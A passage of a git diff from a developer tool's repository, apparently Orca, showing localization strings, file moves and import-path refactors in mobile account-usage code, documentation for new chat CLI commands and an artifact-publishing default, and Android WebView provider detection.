+    'Claude 会缓存对话以降低成本。空闲过久后缓存会过期，下一条消息将以更高成本重新发送完整上下文。此倒计时可帮助您了解何时继续',
+  'from Orca. It is still on your disk.': '来自 Orca。它仍保留在您的磁盘上',
   'Pull request reopened': '拉取请求已重新打开',
   'Reopen PR': '重新打开 PR',
   'Reopened MR !{{value0}}': '已重新打开 MR !{{value0}}',
diff --git a/config/scripts/localization/source-extraction/audit-localization-coverage.mjs b/config/scripts/localization/source-extraction/audit-localization-coverage.mjs
index cd7cf997a7b..2fd052728b5 100644
--- a/config/scripts/localization/source-extraction/audit-localization-coverage.mjs
+++ b/config/scripts/localization/source-extraction/audit-localization-coverage.mjs
@@ -41,7 +41,8 @@ const USER_VISIBLE_FUNCTION_NAMES = new Set([
   'confirm',
   'prompt',
   'showError',
-  'showToast'
+  'showToast',
+  'toast'
 ])
 const USER_VISIBLE_OBJECT_METHODS = new Set([
   'error',
diff --git a/config/scripts/performance/native-chat/native-chat-4a-comparison-arm.ts b/config/scripts/performance/native-chat/native-chat-4a-comparison-arm.ts
index 49b71987ed3..de4d1e1a6de 100644
--- a/config/scripts/performance/native-chat/native-chat-4a-comparison-arm.ts
+++ b/config/scripts/performance/native-chat/native-chat-4a-comparison-arm.ts
@@ -3,6 +3,7 @@ import type { Arm } from './native-chat-4a-arm'
 import type { Manifest } from './native-chat-4a-fixture'
 import { profileRunner } from './native-chat-4a-run-context'
 import * as memory from './native-chat-4a-ops-memory'
+import { convertedMemoryRows } from './native-chat-4a-memory-profile'
 import type { ArmResult, Row } from './native-chat-4a-report'
 import { seededDbFiles } from './native-chat-4a-sqlite-observer'
 import type { Workload } from './native-chat-4a-workloads'
@@ -146,7 +147,7 @@ export async function runArm(input: {
       source.seedDir,
       source.manifest,
       'memory',
-      memory.convertedMemoryRows,
+      convertedMemoryRows,
       memory.memoryWorkload(workload)
     )
   })
diff --git a/config/scripts/performance/native-chat/native-chat-4a-comparison.ts b/config/scripts/performance/native-chat/native-chat-4a-comparison.ts
index 5dc732d720e..eb0bb8e425e 100644
--- a/config/scripts/performance/native-chat/native-chat-4a-comparison.ts
+++ b/config/scripts/performance/native-chat/native-chat-4a-comparison.ts
@@ -10,6 +10,7 @@ import type { Arm } from './native-chat-4a-arm'
 import { assertOneRun, parseArmSpec, seededBy } from './native-chat-4a-arm-provenance'
 import { FAMILIES, runArm, type Family } from './native-chat-4a-comparison-arm'
 import * as memory from './native-chat-4a-ops-memory'
+import { seedMemoryProfile } from './native-chat-4a-memory-profile'
 import { armMarkdown, writeComparison, type ArmResult } from './native-chat-4a-report'
 import {
   conversionToolOutputBytes,
@@ -104,7 +105,7 @@ async function main(): Promise<void> {
     ? seededBy(seedArm, await seed(workload.history.toolOutputBytes, workload))
     : null
   const { memoryProfile, memorySeedFailure } = families.has('memory')
-    ? await memory.seedMemoryProfile(
+    ? await seedMemoryProfile(
         out,
         workload,
         async (seeded, runDir) =>
diff --git a/config/scripts/performance/native-chat/native-chat-4a-memory-report.ts b/config/scripts/performance/native-chat/native-chat-4a-memory-report.ts
index 2c29a1d5c31..42941120d6d 100644
--- a/config/scripts/performance/native-chat/native-chat-4a-memory-report.ts
+++ b/config/scripts/performance/native-chat/native-chat-4a-memory-report.ts
@@ -120,15 +120,15 @@ export function memoryMarkdown(base: ArmResult, next?: ArmResult): string[] {
       const heaps = workers
         .map((worker) => {
           const memory = object(worker.memory)
-          return `${memory.threadId ?? worker.sessionId}: ${memory.heapUsed ?? 'unavailable'}`
+          return `${String(memory.threadId ?? worker.sessionId)}: ${String(memory.heapUsed ?? 'unavailable')}`
         })
         .join(', ')
       const status =
         inventory.complete === true
           ? JSON.stringify(inventory.roleCounts)
-          : `unexercised: ${sample?.evidence?.workerError ?? JSON.stringify(inventory.errors) ?? 'inventory unavailable'}`
+          : `unexercised: ${String(sample?.evidence?.workerError ?? JSON.stringify(inventory.errors) ?? 'inventory unavailable')}`
       lines.push(
-        `| ${result.arm} | ${row.variant} | ${status} | ${heaps} | ${inventory.processRssBytes ?? 'unavailable'} |`
+        `| ${result.arm} | ${row.variant} | ${status} | ${heaps} | ${String(inventory.processRssBytes ?? 'unavailable')} |`
       )
     }
   }
diff --git a/config/scripts/performance/native-chat/native-chat-4a-ops-memory.ts b/config/scripts/performance/native-chat/native-chat-4a-ops-memory.ts
index e61f0916374..7ce57fa6327 100644
--- a/config/scripts/performance/native-chat/native-chat-4a-ops-memory.ts
+++ b/config/scripts/performance/native-chat/native-chat-4a-ops-memory.ts
@@ -284,5 +284,3 @@ export async function memoryRows(ctx: RunContext): Promise<void> {
     delta('before activation post-GC', 'after activation post-GC', 'activation delta post-GC')
   }
 }
-
-export { seedMemoryProfile, convertedMemoryRows } from './native-chat-4a-memory-profile'
diff --git a/config/scripts/performance/terminal-stream/terminal-shutdown-byte-limit-benchmark.mjs b/config/scripts/performance/terminal-stream/terminal-shutdown-byte-limit-benchmark.mjs
index 402ec2fa290..874600c3049 100644
--- a/config/scripts/performance/terminal-stream/terminal-shutdown-byte-limit-benchmark.mjs
+++ b/config/scripts/performance/terminal-stream/terminal-shutdown-byte-limit-benchmark.mjs
@@ -43,7 +43,7 @@ const layoutFunctions = layoutAst.statements.filter(
 )
 assert.equal(layoutFunctions.length, layoutNames.length)
 const layoutSubset = `import { isTerminalLeafId } from ${JSON.stringify(path.resolve('src/shared/workspace-layout/stable-pane-id.ts'))};
-import { readSplitRatio } from '@/lib/pane-manager/pane-split-ratio';
+import { readSplitRatio } from '@/lib/pane-manager/pane-layout/pane-split-ratio';
 import { SPLIT_RATIO_TOLERANCE } from ${JSON.stringify(path.resolve('src/shared/workspace-layout/terminal-pane-tree.ts'))};
 ${layoutFunctions.map((node) => node.getText(layoutAst)).join('\n')}`
 
diff --git a/config/scripts/static-analysis/ratchets/renderer-state/check-terminal-parking-ownership-ratchet.mjs b/config/scripts/static-analysis/ratchets/renderer-state/check-terminal-parking-ownership-ratchet.mjs
index 112b837bbb7..8d823b050a9 100644
--- a/config/scripts/static-analysis/ratchets/renderer-state/check-terminal-parking-ownership-ratchet.mjs
+++ b/config/scripts/static-analysis/ratchets/renderer-state/check-terminal-parking-ownership-ratchet.mjs
@@ -125,7 +125,7 @@ const EFFECT_BOUNDARIES = new Set([
   `${WATCHERS}terminal-parked-pty-watcher.ts#startParkedPtyWatcher`,
   `${RENDERER}components/terminal-pane/parking/capture/parked-terminal-buffer-capture.ts#captureParkedTerminalBuffers`,
   `${RENDERER}lib/agent-session/resume/sleeping-agent-session-launch.ts#launchSleepingAgentSession`,
-  `${RENDERER}lib/host-mirror-handle-gap-wait.ts#parkUntilHostMirrorHandleLands`,
+  `${RENDERER}lib/agent-session/resume/host-mirror-handle-gap-wait.ts#parkUntilHostMirrorHandleLands`,
   `${RENDERER}runtime/web-session-tabs-sync/hydration/host-session-mirror-hydration.ts#parkUntilHostSessionMirrorHydrates`
 ])
 const ENUMERATORS = new Set(['entries', 'values', 'keys', 'assign'])
diff --git a/config/scripts/workflow/source-routing/pr-feature-area-e2e-source-routes.mjs b/config/scripts/workflow/source-routing/pr-feature-area-e2e-source-routes.mjs
index beb16f2a13c..1e6977f9dd9 100644
--- a/config/scripts/workflow/source-routing/pr-feature-area-e2e-source-routes.mjs
+++ b/config/scripts/workflow/source-routing/pr-feature-area-e2e-source-routes.mjs
@@ -92,9 +92,9 @@ export const PR_FEATURE_AREA_E2E_SOURCE_ROUTES = [
     ['issue-12656-terminal-link-tooltip', 'terminal-pane-padding-edges'],
     [
       'src/renderer/src/assets/terminal.css',
-      'src/renderer/src/lib/pane-manager/pane-divider.ts',
+      'src/renderer/src/lib/pane-manager/pane-layout/pane-divider.ts',
       'src/renderer/src/lib/pane-manager/pane-dom-creation.ts',
-      'src/renderer/src/lib/pane-manager/terminal-linkifier-hover-reset-on-mouseleave.ts'
+      'src/renderer/src/lib/pane-manager/terminal-input/terminal-linkifier-hover-reset-on-mouseleave.ts'
     ]
   ),
   featureRoute(
diff --git a/config/workspace-record-read-baseline.txt b/config/workspace-record-read-baseline.txt
index 8734401d303..b6e4e4e16f9 100644
--- a/config/workspace-record-read-baseline.txt
+++ b/config/workspace-record-read-baseline.txt
@@ -8,7 +8,6 @@
 4 src/renderer/src/components/dashboard/build-dashboard-bucket-counts.ts # P5b-2 must clear: optional state fields; memo compare goes stale when absent
 3 src/renderer/src/components/dashboard/dashboard-card-terminal-input.ts # P5b-2 must clear: optional state fields default to empty
 1 src/renderer/src/components/dashboard/dashboard-snapshot-workspaces.ts # P5b-2 must clear: optional state field defaults to empty
-1 src/renderer/src/components/dashboard/dashboard-worktree-launch-options.ts # P5b-2 must clear: optional state field defaults to empty
 4 src/renderer/src/components/dashboard/useDashboardPopoutBridge.ts # P5b-2 must clear: change detection on optional fields never fires when absent
 2 src/renderer/src/components/dashboard/useRetainedAgents.ts # reads a passed-in copy
 1 src/renderer/src/components/editor/markdown/documents/markdown-document-worktree-path-selector.ts # P5b-2 must clear: optional state field
@@ -31,14 +30,14 @@
 1 src/renderer/src/lib/browser/navigation/http-link-localhost-route.ts # P5b-2 must clear: optional state field defaults to empty; extracted from http-link-routing.ts
 1 src/renderer/src/lib/workspace/ownership/connection-owner-resolution.ts # P5b-2 must clear: optional-chain compare of a previous slice
 2 src/renderer/src/lib/workspace/ownership/direct-ssh-target-scope.ts # P5b-2 must clear: optional input fields default to empty
-3 src/renderer/src/lib/duplicate-paired-servers.ts # P5b-2 must clear: optional state fields default to empty
+3 src/renderer/src/lib/workspace/ownership/duplicate-paired-servers.ts # P5b-2 must clear: optional state fields default to empty
 1 src/renderer/src/lib/workspace/ownership/folder-workspace-runtime-owner.ts # P5b-2 must clear: loosely typed state param
 1 src/renderer/src/runtime/hosts/wsl/local-project-runtime-workspace.ts # P5b-2 must clear: optional state field defaults to empty
-1 src/renderer/src/lib/resolved-worktree-execution-host.ts # P5b-2 must clear: loosely typed state param
+1 src/renderer/src/lib/workspace/ownership/resolved-worktree-execution-host.ts # P5b-2 must clear: loosely typed state param
 2 src/renderer/src/lib/workspace/ownership/runtime-session-mirror-owners.ts # P5b-2 must clear: optional state fields default to empty
 2 src/renderer/src/lib/workspace/ownership/terminal-worktree-route.ts # P5b-2 must clear: the unattributed-twin check reads both catalogs directly
-3 src/renderer/src/lib/typing-latency/diagnostic-summary.ts # P5b-2 must clear: optional state field
-2 src/renderer/src/lib/unread-badge-count.ts # reads a passed-in copy
+3 src/renderer/src/diagnostics/typing-latency/diagnostic-summary.ts # P5b-2 must clear: optional state field
+2 src/renderer/src/attention/unread/unread-badge-count.ts # reads a passed-in copy
 1 src/renderer/src/lib/workspace/paths/workspace-directory.ts # P5b-2 must clear: optional state field defaults to empty
 2 src/renderer/src/lib/workspace/ownership/workspace-terminal-host-authority.ts # P5b-2 must clear: optional state fields
 1 src/renderer/src/lib/workspace/activation/initial-surface/worktree-initial-terminal-seeding.ts # P5b-2 must clear: treats an undefined field as a narrow adapter
diff --git a/docs/assets/readme-downloads.svg b/docs/assets/readme-downloads.svg
index 25b9a04169b..2892989fee1 100644
--- a/docs/assets/readme-downloads.svg
+++ b/docs/assets/readme-downloads.svg
@@ -1,5 +1,5 @@
-<svg xmlns="http://www.w3.org/2000/svg" width="113" height="20" role="img" aria-label="downloads: 168m">
-  <title>downloads: 168m</title>
+<svg xmlns="http://www.w3.org/2000/svg" width="113" height="20" role="img" aria-label="downloads: 169m">
+  <title>downloads: 169m</title>
   <linearGradient id="s" x2="0" y2="100%">
     <stop offset="0" stop-color="#bbb" stop-opacity=".1"/>
     <stop offset="1" stop-opacity=".1"/>
@@ -15,7 +15,7 @@
   <g fill="#fff" text-anchor="middle" font-family="Verdana,Geneva,DejaVu Sans,sans-serif" text-rendering="geometricPrecision" font-size="11">
     <text x="37" y="15" fill="#010101" fill-opacity=".3">downloads</text>
     <text x="37" y="14">downloads</text>
-    <text x="93.5" y="15" fill="#010101" fill-opacity=".3">168m</text>
-    <text x="93.5" y="14">168m</text>
+    <text x="93.5" y="15" fill="#010101" fill-opacity=".3">169m</text>
+    <text x="93.5" y="14">169m</text>
   </g>
 </svg>
diff --git a/docs/site/content/docs/cli/reference.mdx b/docs/site/content/docs/cli/reference.mdx
index 12cfa96f2b0..bff53fb760b 100644
--- a/docs/site/content/docs/cli/reference.mdx
+++ b/docs/site/content/docs/cli/reference.mdx
@@ -233,6 +233,21 @@ orca chat rename --name "Migrate auth"
 
 Renames a chat tab, the same as renaming it by hand. `--session` takes the `sessionId` that `orca agent launch` prints. Run inside a chat, it defaults to that chat; with `--environment` it is required.
 
+Agents that run as chats are read and messaged with `chat` commands. `--session` takes the session id from `chat list` or the handle `agent launch` returns.
+
+```bash
+orca chat list --json
+orca chat list --state working --json
+orca chat read --session <session> --limit 10 --json
+orca chat send --session <session> --text "Run the tests, then summarize failures" --json
+orca chat send --session <session> --text "<message>" --wait --timeout-ms 600000 --json
+orca chat wait --session <session> --timeout-ms 600000 --json
+```
+
+`chat read` returns the newest messages, tool calls, errors, approvals and questions; an approval or question waiting for an answer has `pending: true`. `chat send` sends the text as your message. While the agent is working, hosts with a message queue hold it until the turn ends and report `delivery: "queued"`. A chat that restarted since it was read refuses the send. `--text-file -` reads the message from stdin.
+
+`chat send --wait` and `chat wait` return once the chat's own turn settles, in the words `chat list` uses: `settled: "done"`, or `settled: "blocked"` when an approval or question needs an answer. Background agents the chat started can still show as `working` or `waiting` in `chat list`. They print the entries since the last user message. A wait past `--timeout-ms` returns `settled: "timeout"`, and a message held in a stopped or failed queue returns `settled: "held"`; both exit 1. `chat read --json` returns a `cursor` for the newest row read, and `truncated: true` when older rows it needed were past the 200-row read. `chat list --state` takes `working`, `blocked`, `waiting` or `done`. Paired hosts (`--environment`, `--pairing-code`) can list chats but not read, send or wait yet.
+
 ## Files
 
 ```bash
@@ -412,7 +427,7 @@ A selection applies to every agent of that provider launched on the host after i
 
 ## Artifacts
 
-Publish HTML or Markdown through the signed-in Orca account. Viewing a public link does not require sign-in; create/list/update/delete do. **Publishing is off by default** — a human must enable **Settings → Artifacts → Allow publishing public artifact links** on the device. There is no CLI flag that grants the gate. `list`, `unshare`, and `delete` stay available so you can audit or revoke links after turning publishing off.
+Publish HTML or Markdown through the signed-in Orca account. Viewing a public link does not require sign-in; create/list/update/delete do. Publishing follows **Settings → Artifacts → Allow publishing public artifact links** on the device: on by default for new profiles, while profiles created before this default keep their previous setting. Only a human can change it; there is no CLI flag that grants the gate. `list`, `unshare`, and `delete` stay available so you can audit or revoke links after turning publishing off.
 
 ```bash
 orca artifacts share ./report.html --json
diff --git a/docs/site/content/docs/editing/markdown.mdx b/docs/site/content/docs/editing/markdown.mdx
index a84c3991611..32869df4e07 100644
--- a/docs/site/content/docs/editing/markdown.mdx
+++ b/docs/site/content/docs/editing/markdown.mdx
@@ -51,4 +51,4 @@ For long documents, click the **Table of Contents** button (tree icon) in the ed
 
 ## Share as artifact
 
-From the editor header, **Share as artifact** publishes the open Markdown file as a public view link through your signed-in Orca account. Requires **Settings → Artifacts → Allow publishing public artifact links** (off by default). Republish updates the same link when Orca still has the mapping; manage or delete links from the sidebar **Artifacts** page. Agents and scripts can use `orca artifacts share|update|list|delete` — see [CLI reference → Artifacts](/docs/cli/reference#artifacts).
+From the editor header, **Share as artifact** publishes the open Markdown file as a public view link through your signed-in Orca account. Requires **Settings → Artifacts → Allow publishing public artifact links** (on by default for new profiles). Republish updates the same link when Orca still has the mapping; manage or delete links from the sidebar **Artifacts** page. Agents and scripts can use `orca artifacts share|update|list|delete` — see [CLI reference → Artifacts](/docs/cli/reference#artifacts).
diff --git a/docs/site/content/docs/settings.mdx b/docs/site/content/docs/settings.mdx
index 7d71631f1c5..eb489b00875 100644
--- a/docs/site/content/docs/settings.mdx
+++ b/docs/site/content/docs/settings.mdx
@@ -91,7 +91,7 @@ Settings are grouped into panes. Everything here is searchable with `Cmd-,` then
 ## Artifacts
 
 - **Orca account** — sign in (same account family as Orca Relay) to publish and manage shared files.
-- **Allow publishing public artifact links** — **off by default**. Device-wide gate: when on, you, agents, and the `orca` CLI on this machine can upload HTML/Markdown and mint public view links. Turning it off does not delete existing links.
+- **Allow publishing public artifact links** — **on by default for new profiles**; profiles created before this default keep their previous setting. Device-wide gate: when on, you, agents, and the `orca` CLI on this machine can upload HTML/Markdown and mint public view links. Turning it off does not delete existing links.
 - **Show Artifacts** / sidebar shortcut — open the Artifacts list to search, preview, copy, or delete account-owned links.
 - **Ask Before Deleting Artifacts** — optional confirmation before breaking a public link.
 - Share from an open local HTML page or Markdown editor with **Share as artifact**, or via `orca artifacts …`. See [CLI reference → Artifacts](/docs/cli/reference#artifacts).
diff --git a/mobile/modules/orca-mobile-web-shell/android/src/main/java/expo/modules/orcamobilewebshell/MobileWebShellBridge.kt b/mobile/modules/orca-mobile-web-shell/android/src/main/java/expo/modules/orcamobilewebshell/MobileWebShellBridge.kt
index 045cce54908..99f8bfc2713 100644
--- a/mobile/modules/orca-mobile-web-shell/android/src/main/java/expo/modules/orcamobilewebshell/MobileWebShellBridge.kt
+++ b/mobile/modules/orca-mobile-web-shell/android/src/main/java/expo/modules/orcamobilewebshell/MobileWebShellBridge.kt
@@ -38,7 +38,7 @@ internal enum class MobileWebShellBridgeInstall {
   /** The prop is false, so nothing is registered and Phase B behaviour is byte-identical. */
   SKIP,
   INSTALL,
-  /** The WebView provider is older than `WEB_MESSAGE_LISTENER` (Chromium 88). Terminal. */
+  /** The WebView provider is older than `WEB_MESSAGE_LISTENER` (Chromium 83). Terminal. */
   UNAVAILABLE
 }
 
diff --git a/mobile/modules/orca-mobile-web-shell/android/src/main/java/expo/modules/orcamobilewebshell/MobileWebShellDocument.kt b/mobile/modules/orca-mobile-web-shell/android/src/main/java/expo/modules/orcamobilewebshell/MobileWebShellDocument.kt
index af1aff6a343..0d8f77c5fc5 100644
--- a/mobile/modules/orca-mobile-web-shell/android/src/main/java/expo/modules/orcamobilewebshell/MobileWebShellDocument.kt
+++ b/mobile/modules/orca-mobile-web-shell/android/src/main/java/expo/modules/orcamobilewebshell/MobileWebShellDocument.kt
@@ -201,7 +201,7 @@ internal class MobileWebShellDocument(private val context: Context) {
     view.destroy()
   }
 
-  // Keep explicit settings for the Chromium 83 floor, even where newer WebViews ignore deprecated options.
+  // Keep explicit settings even where newer WebViews ignore deprecated options; the floor is Chromium 101.
   // B4 requires device proofs: no network, persistent state, file/content access, cleartext or navigation escape.
   @Suppress("DEPRECATION")
   private fun createWebView(): WebView {
diff --git a/mobile/modules/orca-mobile-web-shell/android/src/main/java/expo/modules/orcamobilewebshell/MobileWebShellNetworkApiBlocker.kt b/mobile/modules/orca-mobile-web-shell/android/src/main/java/expo/modules/orcamobilewebshell/MobileWebShellNetworkApiBlocker.kt
index 4c0397fdd0a..0b94103df6e 100644
--- a/mobile/modules/orca-mobile-web-shell/android/src/main/java/expo/modules/orcamobilewebshell/MobileWebShellNetworkApiBlocker.kt
+++ b/mobile/modules/orca-mobile-web-shell/android/src/main/java/expo/modules/orcamobilewebshell/MobileWebShellNetworkApiBlocker.kt
@@ -17,7 +17,7 @@ internal val MOBILE_WEB_SHELL_NETWORK_API_BLOCKER = """
   })();
 """.trimIndent()
 
-/** Query document-start-script capability (Chromium 83 floor), not version strings. */
+/** Query capability, not version strings; stable WebView has it from Chromium 101. */
 internal fun installMobileWebShellNetworkApiBlocker(
   webView: WebView,
   allowedOrigin: String
diff --git a/mobile/modules/orca-mobile-web-shell/android/src/main/java/expo/modules/orcamobilewebshell/OrcaMobileWebShellModule.kt b/mobile/modules/orca-mobile-web-shell/android/src/main/java/expo/modules/orcamobilewebshell/OrcaMobileWebShellModule.kt
index abba9fd7675..e08436bd126 100644
--- a/mobile/modules/orca-mobile-web-shell/android/src/main/java/expo/modules/orcamobilewebshell/OrcaMobileWebShellModule.kt
+++ b/mobile/modules/orca-mobile-web-shell/android/src/main/java/expo/modules/orcamobilewebshell/OrcaMobileWebShellModule.kt
@@ -8,6 +8,8 @@ import android.content.res.Configuration
 import android.net.Uri
 import android.os.Handler
 import android.os.Looper
+import androidx.webkit.WebViewCompat
+import androidx.webkit.WebViewFeature
 import expo.modules.kotlin.exception.CodedException
 import expo.modules.kotlin.exception.Exceptions
 import expo.modules.kotlin.functions.Queues
@@ -68,6 +70,17 @@ class OrcaMobileWebShellModule : Module() {
       Uri.fromFile(directory).toString()
     }
 
+    // Lets isolation-unavailable name the WebView to update.
+    Function("currentWebViewProvider") {
+      val context = appContext.reactContext ?: return@Function null
+      val info = WebViewCompat.getCurrentWebViewPackage(context) ?: return@Function null
+      val version = info.versionName ?: return@Function null
+      val name = info.applicationInfo?.loadLabel(context.packageManager)?.toString() ?: info.packageName
+      val hasShellFeatures = WebViewFeature.isFeatureSupported(WebViewFeature.DOCUMENT_START_SCRIPT) &&
+        WebViewFeature.isFeatureSupported(WebViewFeature.WEB_MESSAGE_LISTENER)
+      mapOf("name" to name, "version" to version, "hasShellFeatures" to hasShellFeatures)
+    }
+
     AsyncFunction("prepareSpareDocument") { directory: String, sessionId: String ->
       val activity = appContext.currentActivity ?: return@AsyncFunction false
       MobileWebShellSparePool.prepare(activity, directory, sessionId)
diff --git a/mobile/modules/orca-mobile-web-shell/src/index.ts b/mobile/modules/orca-mobile-web-shell/src/index.ts
index 97979cd7019..4e072e2efb2 100644
--- a/mobile/modules/orca-mobile-web-shell/src/index.ts
+++ b/mobile/modules/orca-mobile-web-shell/src/index.ts
@@ -18,7 +18,7 @@ export type OrcaMobileWebShellViewProps = ViewProps & {
   generationDirectory: string
   /** `[A-Za-z0-9_-]{1,128}`. Scopes the private origin, so every mount must mint a fresh one. */
   sessionId: string
-  // Bridge is off by default with nothing registered. Opt-in on Android below WEB_MESSAGE_LISTENER/Chromium 88 fails isolation-unavailable instead of loading unfenced.
+  // Bridge is off by default with nothing registered. Opt-in on Android below WEB_MESSAGE_LISTENER/Chromium 83 fails isolation-unavailable instead of loading unfenced.
   bridgeEnabled?: boolean
   onLoadState?: (event: NativeSyntheticEvent<MobileWebShellLoadStatePayload>) => void
   // Raw JSON from window.orcaBridge; native silently rejects other origins/frames/WebViews and envelopes above 640 KiB (MobileWebShellBridge.maxMessageByteCount).
@@ -82,6 +82,23 @@ export function warmUpWebShell(): void {
   }
 }
 
+export type WebViewProvider = { name: string; version: string; hasShellFeatures: boolean }
+
+// Android only: the WebView provider and whether it has the shell's fences. Null when unknown.
+export function currentWebViewProvider(): WebViewProvider | null {
+  if (Platform.OS !== 'android') {
+    return null
+  }
+  const shell = requireOptionalNativeModule<{
+    currentWebViewProvider?: () => WebViewProvider | null
+  }>('OrcaMobileWebShell')
+  try {
+    return shell?.currentWebViewProvider?.() ?? null
+  } catch {
+    return null
+  }
+}
+
 export {
   MOBILE_WEB_SHELL_FAILURE_REASONS,
   parseMobileWebShellLoadState,
diff --git a/mobile/rpc-foundation/pilot-scenarios.json b/mobile/rpc-foundation/pilot-scenarios.json
index dfd3079e39d..688d2a86b98 100644
--- a/mobile/rpc-foundation/pilot-scenarios.json
+++ b/mobile/rpc-foundation/pilot-scenarios.json
@@ -21045,7 +21045,7 @@
       "id": "codex-reset-credit-consumed",
       "operation": "accounts.codex-reset-credit",
       "family": "components.codex-reset-credit",
-      "sites": ["mobile/src/components/codex-reset-credit.ts"],
+      "sites": ["mobile/src/accounts/usage/codex-reset-credit.ts"],
       "schedules": [],
       "deviceStore": {},
       "steps": [
diff --git a/mobile/src/accounts/MobileAccountsScreen.tsx b/mobile/src/accounts/MobileAccountsScreen.tsx
index a76da2ffa62..2cdb378d4b3 100644
--- a/mobile/src/accounts/MobileAccountsScreen.tsx
+++ b/mobile/src/accounts/MobileAccountsScreen.tsx
@@ -16,22 +16,23 @@ import { useMobileTranslation } from '../i18n/use-mobile-translation'
 import { styles } from './mobile-accounts-screen-styles'
 import { useNow } from '../hooks/use-now'
 import { ClaudeIcon, OpenAIIcon } from '../components/AgentIcons'
+import './usage/UsageBar'
 import {
   type ProviderKey,
   getActiveProviderRateLimits,
   getInactiveProviderUsage,
   getOtherUsageProviders,
   hasActiveProviderUsage
-} from '../components/AccountUsage'
+} from './usage/usage-selectors'
 import { MobileAgentIcon } from '../components/MobileAgentIcon'
 import { getProviderDisplayName } from '../../../src/shared/usage-provider-windows'
 import { ProviderUsageWindows } from './ProviderUsageWindows'
 import {
   getActiveCodexAccountIdForRateLimitTarget,
   getCodexResetCreditSummary
-} from '../components/codex-reset-credit'
-import { CodexResetCreditAction } from '../components/CodexResetCreditAction'
-import { useCodexResetCreditAction } from '../components/use-codex-reset-credit-action'
+} from './usage/codex-reset-credit'
+import { CodexResetCreditAction } from './usage/CodexResetCreditAction'
+import { useCodexResetCreditAction } from './usage/use-codex-reset-credit-action'
 import { ConfirmModal } from '../components/ConfirmModal'
 import { NavBar } from '../components/nav-bar/NavBar'
 import { NavBarButton } from '../components/nav-bar/NavBarButton'
diff --git a/mobile/src/accounts/ProviderUsageWindows.tsx b/mobile/src/accounts/ProviderUsageWindows.tsx
index 8f9dd1e9e30..43f8b9a5be3 100644
--- a/mobile/src/accounts/ProviderUsageWindows.tsx
+++ b/mobile/src/accounts/ProviderUsageWindows.tsx
@@ -4,12 +4,9 @@ import {
   getUsageWindowSections,
   type UsageWindowSection
 } from '../../../src/shared/usage-provider-windows'
-import {
-  getUsageBarState,
-  getWindowResetLabel,
-  UsageBar,
-  type ProviderRateLimits
-} from '../components/AccountUsage'
+import { UsageBar } from './usage/UsageBar'
+import { getUsageBarState, getWindowResetLabel } from './usage/usage-selectors'
+import type { ProviderRateLimits } from './accounts-snapshot'
 import type { Translate } from '../i18n/mobile-i18n'
 import { useMobileTranslation } from '../i18n/use-mobile-translation'
 import { spacing } from '../theme/mobile-theme'
diff --git a/mobile/src/accounts/accounts-snapshot-stream.ts b/mobile/src/accounts/accounts-snapshot-stream.ts
index 09ca407fead..64ed6066c1b 100644
--- a/mobile/src/accounts/accounts-snapshot-stream.ts
+++ b/mobile/src/accounts/accounts-snapshot-stream.ts
@@ -1,6 +1,6 @@
 import { queryOptions, skipToken } from '@tanstack/react-query'
-import { AccountsSnapshotSchema, decodeAccountsSnapshot } from '../components/accounts-snapshot'
-import type { AccountsSnapshot } from '../components/AccountUsage'
+import { AccountsSnapshotSchema, decodeAccountsSnapshot } from './accounts-snapshot'
+import type { AccountsSnapshot } from './accounts-snapshot'
 import { hostQueryKey, type HostQueryKey } from '../query/host-query-key'
 import type { PersistedHostFamily } from '../query/host-query-persistence'
 import type { RpcClient } from '../transport/rpc/rpc-client-contract'
diff --git a/mobile/src/components/accounts-snapshot.ts b/mobile/src/accounts/accounts-snapshot.ts
similarity index 100%
rename from mobile/src/components/accounts-snapshot.ts
rename to mobile/src/accounts/accounts-snapshot.ts
diff --git a/mobile/src/components/CodexResetCreditAction.tsx b/mobile/src/accounts/usage/CodexResetCreditAction.tsx
similarity index 91%
rename from mobile/src/components/CodexResetCreditAction.tsx
rename to mobile/src/accounts/usage/CodexResetCreditAction.tsx
index 0c273fa6d19..0ba5841b6c0 100644
--- a/mobile/src/components/CodexResetCreditAction.tsx
+++ b/mobile/src/accounts/usage/CodexResetCreditAction.tsx
@@ -1,11 +1,11 @@
 import { ActivityIndicator, Pressable, StyleSheet, Text } from 'react-native'
 import { RotateCcw } from 'lucide-react-native'
-import { useMobileTranslation } from '../i18n/use-mobile-translation'
-import { colors, feedback, radii, spacing, typography } from '../theme/mobile-theme'
-import { themedStyleSheet } from '../theme/themed-styles'
-import { useMobileColorScheme } from '../theme/use-mobile-color-scheme'
+import { useMobileTranslation } from '../../i18n/use-mobile-translation'
+import { colors, feedback, radii, spacing, typography } from '../../theme/mobile-theme'
+import { themedStyleSheet } from '../../theme/themed-styles'
+import { useMobileColorScheme } from '../../theme/use-mobile-color-scheme'
 import type { CodexResetCreditSummary } from './codex-reset-credit'
-import { ListRow } from './list/ListGroup'
+import { ListRow } from '../../components/list/ListGroup'
 
 export function CodexResetCreditAction({
   summary,
diff --git a/mobile/src/components/AccountUsage.tsx b/mobile/src/accounts/usage/UsageBar.tsx
similarity index 81%
rename from mobile/src/components/AccountUsage.tsx
rename to mobile/src/accounts/usage/UsageBar.tsx
index 83253a3c04b..7fdcd674347 100644
--- a/mobile/src/components/AccountUsage.tsx
+++ b/mobile/src/accounts/usage/UsageBar.tsx
@@ -1,29 +1,9 @@
 import { View, Text, ActivityIndicator, type StyleProp, type ViewStyle } from 'react-native'
-import { colors, spacing, typography } from '../theme/mobile-theme'
-import { themedStyleSheet } from '../theme/themed-styles'
-import { useMobileColorScheme } from '../theme/use-mobile-color-scheme'
+import { colors, spacing, typography } from '../../theme/mobile-theme'
+import { themedStyleSheet } from '../../theme/themed-styles'
+import { useMobileColorScheme } from '../../theme/use-mobile-color-scheme'
 
-// Re-export pure account-usage-state selectors/types to keep imports stable and tests free of RN.
-export type {
-  RateLimitWindow,
-  ProviderRateLimits,
-  InactiveAccountUsage,
-  ClaudeAccountSummary,
-  CodexAccountSummary,
-  AccountsSnapshot,
-  ProviderKey,
-  UsageBarState
-} from './account-usage-state'
-export {
-  decodeAccountsSnapshot,
-  getActiveProviderRateLimits,
-  getInactiveProviderUsage,
-  getOtherUsageProviders,
-  getUsageBarState,
-  getWindowResetLabel,
-  hasActiveProviderUsage,
-  hasRenderableUsage
-} from './account-usage-state'
+import './usage-selectors'
 
 /** A meter's fill: the rounded, clamped percent and its consumption colour, shared by every usage meter. */
 export function usageBarFill(
diff --git a/mobile/src/components/codex-reset-credit-capability.ts b/mobile/src/accounts/usage/codex-reset-credit-capability.ts
similarity index 51%
rename from mobile/src/components/codex-reset-credit-capability.ts
rename to mobile/src/accounts/usage/codex-reset-credit-capability.ts
